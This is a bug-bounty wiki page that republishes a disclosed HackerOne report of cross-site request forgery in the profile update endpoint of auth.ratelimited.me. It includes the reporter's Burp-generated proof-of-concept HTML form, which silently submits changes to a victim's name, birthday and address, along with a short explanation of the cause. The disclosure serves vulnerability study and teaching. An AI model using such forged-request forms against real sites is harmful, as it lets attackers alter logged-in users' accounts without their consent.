Skip to content
CSRF Disclosed report Beginner

Cross Site Request Forgery in auth in https://auth.ratelimited.me/

The profile update endpoint accepted a cross-site POST request that changed the victim's account details, and the reporter's proof-of-concept form succeeded in altering them. An attacker could make a logged-in victim's profile fields change without their consent.

miguel_santareno Follow

Originally disclosed on HackerOne

  • Fixed in 4 days
  • Disclosed after 14 months

Hi there i found a vulnerable post that an attacker can execute csrf into the victim. Steps to reproduce:

1º login into your account and with burp on intercept the request off update profile. csrf1.jpg

2º Send the post request to the generator csrf poc and alter the details.

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://auth.ratelimited.me/profile/details/update" method="POST"> <input type="hidden" name="&#95;method" value="PUT" /> <input type="hidden" name="&#95;token" value="gTAHVqBk8TI4QlPBHku3gec3Aly0oD2vITwuEvot" /> <input type="hidden" name="first&#95;name" value="teste csrf" /> <input type="hidden" name="last&#95;name" value="teste csrf" /> <input type="hidden" name="birthday" value="2008&#45;12&#45;28" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="address" value="teste csrf" /> <input type="hidden" name="country&#95;id" value="0" /> <input type="submit" value="Submit request" /> </form> </body> </html>

3º save the html and execute into the browser the html and you will see the details off the victim changing. teste.html

Impact

attacker can manipulate victim information. CSRF token should be implemented and in case off implementation it should be random

The original report as published on HackerOne, by miguel_santareno. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the profile update endpoint did not enforce a random, per-session anti-CSRF token, so a form on another site could submit the change.

What the attacker needed

Victim is logged in; victim visits attacker page

How it was found

  1. Log in and intercept the profile update request with a proxy.
  2. Send the request to the CSRF proof-of-concept generator and alter the details.
  3. Save the generated HTML page and open it in a browser to see the victim's details change.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A CSRF attack tricks a logged-in user's browser into sending a request to a site they are already signed in to, without the user meaning to. Here the profile update form could be submitted from another page, so the victim's details got changed. The reporter says a random anti-CSRF token should be required.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by miguel_santareno

View all

9 more disclosed reports, best first.

More from RATELIMITED

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.